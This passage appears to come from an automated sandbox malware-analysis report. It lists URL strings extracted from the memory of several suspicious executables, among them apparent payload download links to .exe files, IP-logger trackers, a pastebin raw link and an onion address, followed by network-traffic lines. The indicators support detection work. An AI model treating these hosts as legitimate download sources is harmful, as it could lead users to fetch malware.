Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3380987818.000000000C016000.00000004.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3381117576.000000000C0D6000.00000004.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3381117576.000000000C09E000.00000004.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3501355077.000000000C188000.00000004.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3380991027.000000000C016000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dumppage.org
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3501355077.000000000C188000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dumppage.orgUUIDPGDSE
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3380991027.000000000C016000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dumppage.orgUUIDPGDSEp
Source: sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3381117576.000000000C128000.00000004.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3380991027.000000000C07A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dumppage.orghttp://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onion
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3380987818.000000000C078000.00000004.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3381117576.000000000C108000.00000004.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3501355077.000000000C1DA000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dumppage.orghttp://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionCommonProgr
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3380987818.000000000C01A000.00000004.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3501355077.000000000C1D0000.00000004.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3380991027.000000000C01A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dumppage.orghttp://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionS-1-5-21-22
Source: sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3381117576.000000000C0D6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dumppage.orghttp://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionhttps://dum
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3380987818.000000000C016000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dumppage.orghttps://dumppage.orgRegQueryValueExWhttps://dumppage.orgUUIDPGDSEP
Source: sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3381117576.000000000C09E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dumppage.orghttps://dumppage.orgRegQueryValueExWhttps://dumppage.orgUUIDUUIDPGDSEPGDSE
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe	String found in binary or memory: https://github.com/Snawoot/opera-proxy/releases/download/v1.2.2/opera-proxy.windows-386.exeBlackBerr
Source: CGZL5y3D81OCbb2NABnHZhPM.exe, 0000000C.00000002.2361261570.00000000004FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grabify.org/
Source: AddInProcess32.exe, 00000005.00000002.4581208018.000000000A499000.00000004.00000800.00020000.00000000.sdmp, CGZL5y3D81OCbb2NABnHZhPM.exe, CGZL5y3D81OCbb2NABnHZhPM.exe, 0000000C.00000002.2360254220.000000000042C000.00000002.00000001.01000000.0000000A.sdmp, CGZL5y3D81OCbb2NABnHZhPM.exe, 0000000C.00000002.2361261570.00000000004BE000.00000004.00000020.00020000.00000000.sdmp, nxFajWDYSB3pQQxmrqt3pD1T.exe, 00000015.00000000.2298245259.000000000042C000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: https://grabify.org/1wxS
Source: AddInProcess32.exe, 00000005.00000002.4581208018.000000000A499000.00000004.00000800.00020000.00000000.sdmp, CGZL5y3D81OCbb2NABnHZhPM.exe, 0000000C.00000002.2360254220.000000000042C000.00000002.00000001.01000000.0000000A.sdmp, nxFajWDYSB3pQQxmrqt3pD1T.exe, 00000015.00000000.2298245259.000000000042C000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: https://grabify.org/1wxSSOFTWARE
Source: CGZL5y3D81OCbb2NABnHZhPM.exe, 0000000C.00000002.2361261570.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grabify.org/1wxSs
Source: CGZL5y3D81OCbb2NABnHZhPM.exe, 0000000C.00000002.2361261570.00000000004FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grabify.org/1wxSu
Source: CGZL5y3D81OCbb2NABnHZhPM.exe, 0000000C.00000002.2361261570.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grabify.org/ll
Source: AddInProcess32.exe, 00000005.00000002.4510003590.000000000307D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com
Source: AddInProcess32.exe, 00000005.00000002.4510003590.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/1lyxz
Source: AddInProcess32.exe, 00000005.00000002.4510003590.000000000305D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003449000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003439000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003429000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/
Source: AddInProcess32.exe, 00000005.00000002.4510003590.00000000031AD000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000305D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003449000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003439000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003429000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/privacy/
Source: AddInProcess32.exe, 00000005.00000002.4510003590.00000000031AD000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000305D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003449000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003439000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003429000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/rules/
Source: AddInProcess32.exe, 00000005.00000002.4510003590.000000000308B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ittrade.org
Source: AddInProcess32.exe, 00000005.00000002.4510003590.000000000308B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003109000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003129000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.00000000031BD000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003125000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000318F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ittrade.org/26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe
Source: AddInProcess32.exe, 00000005.00000002.4510003590.000000000312D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lawyerbuyer.org
Source: AddInProcess32.exe, 00000005.00000002.4510003590.0000000003641000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.00000000030FD000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000308B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000302C000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.00000000031BD000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003232000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003111000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000364F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003115000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.00000000031AD000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003075000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003485000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000318D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000318F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lawyerbuyer.org/26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe
Source: AddInProcess32.exe, 00000005.00000002.4510003590.0000000003485000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lawyerbuyer.orgH
Source: AddInProcess32.exe, 00000005.00000002.4510003590.000000000351B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000307D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003485000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://namemail.org
Source: AddInProcess32.exe, 00000005.00000002.4510003590.0000000003061000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000307D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://namemail.org/6779d89b7a368f4f3f340b50a9d18d71.exe
Source: AddInProcess32.exe, 00000005.00000002.4510003590.00000000031BD000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000318F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://namemail.org/6779d89b7a368f4f3f340b50a9d18d71.exe4kF
Source: AddInProcess32.exe, 00000005.00000002.4510003590.0000000003176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://namemail.org/6779d89b7a368f4f3f340b50a9d18d71.exe6
Source: AddInProcess32.exe, 00000005.00000002.4510003590.0000000003176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://namemail.org/6779d89b7a368f4f3f340b50a9d18d71.exe=
Source: AddInProcess32.exe, 00000005.00000002.4510003590.000000000308B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://net.geo.opera.com
Source: AddInProcess32.exe, 00000005.00000002.4510003590.000000000308B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.00000000031BD000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000318F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.00000000031B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://net.geo.opera.com/opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767
Source: AddInProcess32.exe, 00000005.00000002.4510003590.00000000032C7000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000351B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.00000000033E4000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003314000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.00000000035CE000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003310000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003406000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com
Source: AddInProcess32.exe, 00000005.00000002.4510003590.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/E0rY26ni
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe	String found in binary or memory: https://raw.githubusercontent.com/spesmilo/electrum/master/electrum/servers.jsonsize
Source: AddInProcess32.exe, 00000005.00000002.4510003590.000000000366D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rsms.me/inter/inter.css
Source: AddInProcess32.exe, 00000005.00000002.4510003590.000000000350F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000307D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shipofdestiny.com
Source: AddInProcess32.exe, 00000005.00000002.4510003590.0000000003061000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.00000000031BD000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000307D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shipofdestiny.com/baf14778c246e15550645e30ba78ce1c.exe
Source: AddInProcess32.exe, 00000005.00000002.4510003590.000000000307D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shipofdestiny.com/baf14778c246e15550645e30ba78ce1c.exe%
Source: AddInProcess32.exe, 00000005.00000002.4510003590.0000000003176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shipofdestiny.com/baf14778c246e15550645e30ba78ce1c.exe4
Source: AddInProcess32.exe, 00000005.00000002.4510003590.00000000030BC000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000318F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shipofdestiny.com/baf14778c246e15550645e30ba78ce1c.exe4kF
Source: AddInProcess32.exe, 00000005.00000002.4510003590.0000000003176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shipofdestiny.com/baf14778c246e15550645e30ba78ce1c.exe;
Source: AddInProcess32.exe, 00000005.00000002.4510003590.00000000031BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shipofdestiny.com/baf14778c246e15550645e30ba78ce1c.exeG
Source: AddInProcess32.exe, 00000005.00000002.4510003590.000000000366D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shortiny.com
Source: AddInProcess32.exe, 00000005.00000002.4510003590.0000000003690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shortiny.com/css/app.css
Source: AddInProcess32.exe, 00000005.00000002.4510003590.000000000366D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shortiny.com/css/app.dark.css
Source: AddInProcess32.exe, 00000005.00000002.4510003590.000000000366D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shortiny.com/js/app.js
Source: AddInProcess32.exe, 00000005.00000002.4510003590.000000000366D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shortiny.com/uploads/brand/favicon.png
Source: AddInProcess32.exe, 00000005.00000002.4510003590.000000000351B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000307D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sty.ink
Source: AddInProcess32.exe, 00000005.00000002.4510003590.0000000003061000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003176000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.00000000031BD000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000307D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003121000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.00000000030BC000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000318F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sty.ink/ppg8x
Source: AddInProcess32.exe, 00000005.00000002.4510003590.00000000031BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sty.ink/ppg8xH
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000400000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.0000000002DA0000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000400000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://turnitin.com/robot/crawlerinfo.html)cannot
Source: AddInProcess32.exe, 00000005.00000002.4510003590.00000000032C7000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000351B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.00000000033E4000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003314000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.00000000035CE000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003406000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yip.su
Source: AddInProcess32.exe, 00000005.00000002.4510003590.0000000003449000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003429000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yip.su/RNWPd
Source: AddInProcess32.exe, 00000005.00000002.4510003590.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yip.su/RNWPd.exe
Source: AddInProcess32.exe, 00000005.00000002.4470815618.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://yip.su/RNWPd.exeChttps://pastebin.com/raw/E0rY26ni5https://iplogger.com/1lyxz
Source: AddInProcess32.exe, 00000005.00000002.4510003590.00000000031AD000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.000000000305D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003449000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003439000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.4510003590.0000000003429000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yip.su/redirect-

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51702
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55623
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54653
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55624
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54652
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55625
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54651
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55626
Source: unknown	Network traffic detected: HTTP traffic on port 54819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55620
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55621
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55622
Source: unknown	Network traffic detected: HTTP traffic on port 52685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51394
Source: unknown	Network traffic detected: HTTP traffic on port 55601 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 55624 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53655 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55641 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55638
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55639
Source: unknown	Network traffic detected: HTTP traffic on port 55429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55636
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55637
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55630
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55631
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55632
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55633
Source: unknown	Network traffic detected: HTTP traffic on port 55630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55640
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52493
Source: unknown	Network traffic detected: HTTP traffic on port 55590 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55573 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51964
Source: unknown	Network traffic detected: HTTP traffic on port 52376 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55613 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51729
Source: unknown	Network traffic detected: HTTP traffic on port 55428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52376
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55645
Source: unknown	Network traffic detected: HTTP traffic on port 54185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52377
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52374
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52495
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55641
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55643
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55644
Source: unknown	Network traffic detected: HTTP traffic on port 55572 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52382
Source: unknown	Network traffic detected: HTTP traffic on port 55607 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51736
Source: unknown	Network traffic detected: HTTP traffic on port 55423 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55419
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55414
Source: unknown	Network traffic detected: HTTP traffic on port 52512 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55416
Source: unknown	Network traffic detected: HTTP traffic on port 54814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55413
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 51702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55589 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51185
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 52684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 51738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55554 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55583 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55560 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51102
Source: unknown	Network traffic detected: HTTP traffic on port 55130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55619 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54187
Source: unknown	Network traffic detected: HTTP traffic on port 51478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54185
Source: unknown	Network traffic detected: HTTP traffic on port 55620 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55643 -> 443
